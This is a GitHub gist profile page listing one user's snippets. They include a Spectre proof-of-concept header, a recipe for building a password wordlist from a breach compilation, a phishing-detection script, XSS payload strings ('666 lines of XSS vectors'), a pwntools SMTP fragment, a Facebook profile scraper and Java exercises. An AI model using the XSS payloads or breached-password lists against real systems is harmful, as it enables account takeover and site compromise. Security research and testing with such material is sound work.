Skip to content

Instantly share code, notes, and snippets.

View jimywork's full-sized avatar
🌴
On vacation

Fábio Castro jimywork

🌴
On vacation
  • São Paulo, Brazil
View GitHub Profile
@jimywork
jimywork / spectre.c
Created January 4, 2018 15:05 — forked from Badel2/spectre.c
Spectre attack example implementation
/* https://spectreattack.com/spectre.pdf */
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#ifdef _MSC_VER
#include <intrin.h> /* for rdtscp and clflush */
#pragma optimize("gt",on)
#else
#include <x86intrin.h> /* for rdtscp and clflush */
#endif
@jimywork
jimywork / breachcompilation.txt
Created December 19, 2017 15:54
1.4 billion password breach compilation wordlist
wordlist created from original 41G stash via:
grep -rohP '(?<=:).*$' | uniq > breachcompilation.txt
Then, compressed with:
7z a breachcompilation.txt.7z breachcompilation.txt
Size:
@jimywork
jimywork / certstreamcatcher.js
Last active February 14, 2018 12:12
Search for phishing using certstream with regex
/**
* Github
* https://github.com/6IX7ine/certstreamcatcher
*
* Copyright (c) 2017 Fábio Castro
* Licensed under the MIT license.
*/
'use strict'
@jimywork
jimywork / meta-tags.md
Created November 30, 2017 18:17 — forked from lancejpollard/meta-tags.md
Complete List of HTML Meta Tags

Copied from http://code.lancepollard.com/complete-list-of-html-meta-tags/

Basic HTML Meta Tags

<meta name="keywords" content="your, tags"/>
<meta name="description" content="150 words"/>
<meta name="subject" content="your website's subject">
<meta name="copyright"content="company name">
<meta name="language" content="ES">
@jimywork
jimywork / 666_lines_of_XSS_vectors.html
Created November 27, 2017 13:27 — forked from JohannesHoppe/666_lines_of_XSS_vectors.html
666 lines of XSS vectors, suitable for attacking an API copied from http://pastebin.com/48WdZR6L
<script\x20type="text/javascript">javascript:alert(1);</script>
<script\x3Etype="text/javascript">javascript:alert(1);</script>
<script\x0Dtype="text/javascript">javascript:alert(1);</script>
<script\x09type="text/javascript">javascript:alert(1);</script>
<script\x0Ctype="text/javascript">javascript:alert(1);</script>
<script\x2Ftype="text/javascript">javascript:alert(1);</script>
<script\x0Atype="text/javascript">javascript:alert(1);</script>
'`"><\x3Cscript>javascript:alert(1)</script>
'`"><\x00script>javascript:alert(1)</script>
<img src=1 href=1 onerror="javascript:alert(1)"></img>
# pip install pwntools
from pwn import *
r = remote('localhost', 25)
r.recvline()
r.sendline("EHLO test")
r.recvuntil("250 HELP")
r.sendline("MAIL FROM:<test@localhost>")
r.recvline()
@jimywork
jimywork / reservas.java
Last active October 8, 2017 15:47
Programa para efetuar reservas de passagens aéreas de uma certa companhia
import java.util.Scanner;
/**
*
* @author Fabio
*/
public class Reservas {
/**
* @param args the command line arguments
@jimywork
jimywork / fbuids.py
Last active October 4, 2017 15:50
Web Scraping Facebook ID, Name, Photo, URL
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
import requests
from bs4 import BeautifulSoup
UUIDS = open('uuids.txt', 'r')
for UUID in UUIDS :
@jimywork
jimywork / exercicio_extra2.java
Created September 12, 2017 18:06
Lista de Exercícios Java
import java.util.Scanner;
class Main {
public static void main(String[] args) {
double monthlySalary = 400;
double unitaryValue[] = new double[10];
int amountSold[] = new int[10];
int max = amountSold[0];
@jimywork
jimywork / excercio_extra1.java
Last active September 5, 2017 16:46
Lista de Exercícios Java
// Faça um programa que preencha um vetor de nove elementos numéricos inteiros, calcule e mostre os números
// PARES e suas respectivas posições.
import java.util.Random;
class Main {
public static void main(String[] agrs) {
int vetor[] = new int[9];